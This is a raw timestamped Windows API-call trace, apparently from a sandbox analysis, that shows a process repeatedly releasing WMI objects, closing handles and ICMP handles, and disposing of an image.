[0171.792] CloseHandle (hObject=0x7b0) returned 1 [0171.792] CloseHandle (hObject=0x310) returned 1 [0171.793] CloseHandle (hObject=0x6dc) returned 1 [0171.793] CloseHandle (hObject=0x7ac) returned 1 [0171.793] CloseHandle (hObject=0x504) returned 1 [0171.793] CloseHandle (hObject=0x534) returned 1 [0171.989] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0171.989] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.990] WbemLocator:IUnknown:Release (This=0x1b2cbc58) returned 0x1 [0171.990] WbemLocator:IUnknown:Release (This=0x4b9710) returned 0x0 [0171.991] IUnknown:Release (This=0x4b00f0) returned 0x0 [0171.991] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0171.991] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.991] WbemDefPath:IUnknown:Release (This=0x4f2a40) returned 0x1 [0171.991] WbemDefPath:IUnknown:Release (This=0x4f2a40) returned 0x0 [0175.316] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0175.316] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0175.316] WbemLocator:IUnknown:Release (This=0x1d2fa3e0) returned 0x1 [0175.316] WbemLocator:IUnknown:Release (This=0x1d2fa3e0) returned 0x0 [0175.316] IUnknown:Release (This=0x4b00f0) returned 0x0 [0177.277] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0177.277] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0177.277] WbemLocator:IUnknown:Release (This=0x1d2fab00) returned 0x1 [0177.277] WbemLocator:IUnknown:Release (This=0x1d2fab00) returned 0x0 [0177.277] IUnknown:Release (This=0x4b00f0) returned 0x0 [0177.298] IcmpCloseHandle (IcmpHandle=0x1b34f990) returned 1 [0184.363] IcmpCloseHandle (IcmpHandle=0x1b34ea90) returned 1 [0190.164] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0190.165] IUnknown:QueryInterface (in: This=0x4b0340, riid=0x7ffa5f055740*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1a89f6f0 | out: ppvObject=0x1a89f6f0*=0x4b0360) returned 0x0 [0190.165] CObjectContext::ContextCallback () returned 0x0 [0190.168] IUnknown:Release (This=0x4b0360) returned 0x1 [0190.168] IUnknown:Release (This=0x4b0340) returned 0x0 [0194.339] IcmpCloseHandle (IcmpHandle=0x1b34e850) returned 1 [0200.455] IcmpCloseHandle (IcmpHandle=0x1d4693a0) returned 1 [0205.492] GdipDisposeImage (image=0x1bb758e0) returned 0x0 [0205.495] IcmpCloseHandle (IcmpHandle=0x1d469520) returned 1 [0205.497] CloseHandle (hObject=0xb8c) returned 1 [0211.098] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0211.098] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0211.098] WbemLocator:IUnknown:Release (This=0x1d496c40) returned 0x1 [0211.098] WbemLocator:IUnknown:Release (This=0x1d496c40) returned 0x0 [0214.709] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0214.709] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0214.709] WbemDefPath:IUnknown:Release (This=0x1d2f10d0) returned 0x1 [0214.709] WbemDefPath:IUnknown:Release (This=0x1d2f10d0) returned 0x0 [0214.709] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0214.709] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0214.709] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x1 [0214.709] WbemLocator:IUnknown:Release (This=0x1b340c50) returned 0x0 [0215.240] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0215.240] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0215.240] IUnknown:Release (This=0x1b3bd480) returned 0x0 [0216.480] IcmpCloseHandle (IcmpHandle=0x1d469ac0) returned 1 [0222.767] IcmpCloseHandle (IcmpHandle=0x1d469ac0) returned 1 [0232.140] IcmpCloseHandle (IcmpHandle=0x1d469b80) returned 1 [0232.140] IcmpCloseHandle (IcmpHandle=0x1d469ac0) returned 1 [0235.429] CloseHandle (hObject=0xd48) returned 1 [0237.851] IcmpCloseHandle (IcmpHandle=0x1b342230) returned 1 [0240.409] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0240.409] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0240.409] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0240.409] WbemLocator:IUnknown:Release (This=0x1b340590) returned 0x0 [0240.436] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0240.436] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0240.436] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0243.451] IcmpCloseHandle (IcmpHandle=0x1b342230) returned 1 [0249.861] IcmpCloseHandle (IcmpHandle=0x1b342290) returned 1 [0253.587] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0253.587] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0253.587] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0253.587] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x0 [0253.589] IUnknown:Release (This=0x4b00f0) returned 0x0 [0254.304] IcmpCloseHandle (IcmpHandle=0x1e721460) returned 1 [0256.559] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0256.559] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0256.559] IUnknown:Release (This=0x1b348b00) returned 0x2 [0256.559] IUnknown:Release (This=0x1b348b00) returned 0x1 [0256.559] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0256.559] WbemLocator:IUnknown:Release (This=0x1d496a80) returned 0x1 [0256.559] WbemLocator:IUnknown:Release (This=0x1d496a80) returned 0x0 [0256.584] IUnknown:Release (This=0x1b348b00) returned 0x0 [0256.584] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0256.584] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0256.584] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0258.425] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0258.425] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0258.425] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0258.425] IUnknown:Release (This=0x1b34a5e0) returned 0x1 [0258.425] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0258.425] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x1 [0258.425] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x0 [0258.449] IUnknown:Release (This=0x1b34a5e0) returned 0x0 [0258.450] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0258.450] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0258.450] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0260.604] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0260.604] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0260.604] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x1 [0260.605] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x0 [0260.627] IcmpCloseHandle (IcmpHandle=0x1e720f80) returned 1 [0262.357] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0262.357] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0262.357] IUnknown:Release (This=0x1b349b20) returned 0x2 [0262.357] IUnknown:Release (This=0x1b349b20) returned 0x1 [0262.357] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0262.357] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0262.357] WbemLocator:IUnknown:Release (This=0x1d4751d0) returned 0x0 [0262.358] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0262.358] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0262.358] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x0 [0262.359] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0262.359] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0262.359] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0262.359] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x0 [0262.359] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0262.359] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0262.359] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0262.380] IUnknown:Release (This=0x1b349b20) returned 0x0 [0262.381] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0262.381] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0262.381] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0264.575] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0264.575] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0264.575] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0264.575] IUnknown:Release (This=0x1b34a5e0) returned 0x1 [0264.575] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0264.575] WbemLocator:IUnknown:Release (This=0x1d496f60) returned 0x1 [0264.575] WbemLocator:IUnknown:Release (This=0x1d496f60) returned 0x0 [0264.606] IUnknown:Release (This=0x1b34a5e0) returned 0x0 [0264.607] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0264.607] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0264.607] IUnknown:Release (This=0x1d35c8d0) returned 0x0 [0266.246] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0266.246] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0266.246] IUnknown:Release (This=0x1b349b20) returned 0x2 [0266.246] IUnknown:Release (This=0x1b349b20) returned 0x1 [0266.246] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0266.247] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0266.247] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x0 [0266.247] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0266.247] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0266.247] WbemLocator:IUnknown:Release (This=0x1d4755c0) returned 0x0 [0266.250] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0266.250] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0266.250] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0266.250] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x0 [0266.251] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0266.251] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0266.251] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0266.279] IUnknown:Release (This=0x1b349b20) returned 0x0 [0266.279] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0266.279] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0266.279] IUnknown:Release (This=0x1d35bfa0) returned 0x0 [0266.281] CloseHandle (hObject=0x328) returned 1 [0266.281] CloseHandle (hObject=0x4ec) returned 1 [0266.282] IcmpCloseHandle (IcmpHandle=0x1e720860) returned 1 [0266.310] CloseHandle (hObject=0x3d8) returned 1 [0266.311] CloseHandle (hObject=0x32c) returned 1 [0267.882] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0267.882] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0267.882] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0267.882] IUnknown:Release (This=0x1b34a5e0) returned 0x1 [0267.882] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0267.882] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0267.882] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x0 [0267.907] IUnknown:Release (This=0x1b34a5e0) returned 0x0 [0267.907] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0267.907] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0267.907] IUnknown:Release (This=0x1d35ca20) returned 0x0 [0270.086] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0270.086] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0270.086] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0270.086] WbemLocator:IUnknown:Release (This=0x1d475260) returned 0x0 [0270.166] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0270.166] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0270.166] WbemLocator:IUnknown:Release (This=0x1d475920) returned 0x0 [0270.367] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0270.367] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0270.367] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x0 [0270.367] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0270.367] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0270.367] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0270.367] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0270.368] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0270.368] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0270.368] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x0 [0274.171] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0274.172] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0274.172] IUnknown:Release (This=0x1b348b00) returned 0x2 [0274.172] IUnknown:Release (This=0x1b348b00) returned 0x1 [0274.178] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0274.178] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0274.178] IUnknown:Release (This=0x1d35bbb0) returned 0x0 [0274.353] IUnknown:Release (This=0x1b348b00) returned 0x0 [0274.354] IcmpCloseHandle (IcmpHandle=0x1e720da0) returned 1 [0275.869] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0275.869] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0275.869] IUnknown:Release (This=0x1b349b20) returned 0x2 [0275.869] IUnknown:Release (This=0x1b349b20) returned 0x1 [0275.869] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0275.869] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x1 [0275.869] WbemLocator:IUnknown:Release (This=0x1d496ee0) returned 0x0 [0275.901] IUnknown:Release (This=0x1b349b20) returned 0x0 [0275.901] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0275.901] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0275.901] IUnknown:Release (This=0x1d35c8d0) returned 0x0 [0275.918] IcmpCloseHandle (IcmpHandle=0x1e720f80) returned 1 [0278.020] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0278.020] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0278.020] IUnknown:Release (This=0x1b349b20) returned 0x2 [0278.020] IUnknown:Release (This=0x1b349b20) returned 0x1 [0278.020] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0278.020] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0278.020] WbemLocator:IUnknown:Release (This=0x1d474b10) returned 0x0 [0278.021] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0278.021] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x1 [0278.021] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x0 [0278.021] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0278.021] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0278.021] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0278.021] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0278.021] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0278.021] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0278.021] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x0 [0278.057] IUnknown:Release (This=0x1b349b20) returned 0x0 [0278.057] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0278.057] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0278.057] IUnknown:Release (This=0x1d35b130) returned 0x0 [0281.326] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0281.326] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0281.326] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0281.326] IUnknown:Release (This=0x1b34a5e0) returned 0x1 [0281.326] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0281.326] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0281.326] WbemLocator:IUnknown:Release (This=0x1d474330) returned 0x0 [0281.327] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0281.327] WbemLocator:IUnknown:Release (This=0x1d497400) returned 0x1 [0281.327] WbemLocator:IUnknown:Release (This=0x1d497400) returned 0x0 [0281.327] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0281.327] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0281.327] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0281.327] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x0 [0281.353] IUnknown:Release (This=0x1b34a5e0) returned 0x0 [0281.353] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0281.353] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0281.353] IUnknown:Release (This=0x1d35b7c0) returned 0x0 [0281.356] IcmpCloseHandle (IcmpHandle=0x1e71ff60) returned 1 [0283.276] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0283.276] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0283.276] IUnknown:Release (This=0x1b349b20) returned 0x2 [0283.277] IUnknown:Release (This=0x1b349b20) returned 0x1 [0283.277] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0283.277] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0283.277] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x0 [0283.300] IUnknown:Release (This=0x1b349b20) returned 0x0 [0283.300] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0283.300] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0283.300] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0285.289] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0285.289] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0285.289] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0285.289] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x0 [0285.466] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0285.466] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0285.466] WbemLocator:IUnknown:Release (This=0x1d474690) returned 0x0 [0285.700] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0285.700] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0285.700] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x0 [0285.700] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0285.700] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0285.700] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0285.701] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x0 [0285.701] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0285.701] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0285.701] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0287.379] IcmpCloseHandle (IcmpHandle=0x1e720080) returned 1 [0289.051] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0289.051] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0289.051] IUnknown:Release (This=0x1b349b20) returned 0x2 [0289.051] IUnknown:Release (This=0x1b349b20) returned 0x1 [0289.068] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0289.068] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0289.068] IUnknown:Release (This=0x1d35b7c0) returned 0x0 [0289.074] IUnknown:Release (This=0x1b349b20) returned 0x0 [0291.112] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0291.112] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0291.112] IUnknown:Release (This=0x1b348b00) returned 0x2 [0291.112] IUnknown:Release (This=0x1b348b00) returned 0x1 [0291.113] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0291.113] WbemLocator:IUnknown:Release (This=0x1d4972c0) returned 0x1 [0291.113] WbemLocator:IUnknown:Release (This=0x1d4972c0) returned 0x0 [0291.137] IUnknown:Release (This=0x1b348b00) returned 0x0 [0291.137] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0291.137] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0291.137] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0292.721] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0292.721] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0292.721] IUnknown:Release (This=0x1b349b20) returned 0x2 [0292.721] IUnknown:Release (This=0x1b349b20) returned 0x1 [0292.721] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0292.721] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0292.721] WbemLocator:IUnknown:Release (This=0x1d475410) returned 0x0 [0292.721] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0292.721] WbemLocator:IUnknown:Release (This=0x1d496f40) returned 0x1 [0292.721] WbemLocator:IUnknown:Release (This=0x1d496f40) returned 0x0 [0292.722] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0292.722] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0292.722] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0292.722] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x0 [0292.722] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0292.722] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0292.722] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 [0292.798] IUnknown:Release (This=0x1b349b20) returned 0x0 [0292.798] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0292.798] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0292.798] IUnknown:Release (This=0x1d35afe0) returned 0x0 [0292.801] IcmpCloseHandle (IcmpHandle=0x1e71ff00) returned 1 [0294.828] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0294.828] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0294.828] IUnknown:Release (This=0x1b349060) returned 0x2 [0294.828] IUnknown:Release (This=0x1b349060) returned 0x1 [0294.828] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0294.828] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0294.828] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x0 [0294.850] IUnknown:Release (This=0x1b349060) returned 0x0 [0294.850] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0294.850] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0294.850] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0296.556] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0296.556] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0296.556] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0296.557] WbemLocator:IUnknown:Release (This=0x1d475770) returned 0x0 [0296.683] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0296.683] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0296.683] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x0 [0296.857] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0296.857] WbemLocator:IUnknown:Release (This=0x1d497080) returned 0x1 [0296.857] WbemLocator:IUnknown:Release (This=0x1d497080) returned 0x0 [0296.857] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0296.857] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0296.857] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0296.857] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x0 [0296.857] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0296.857] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0296.857] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x0 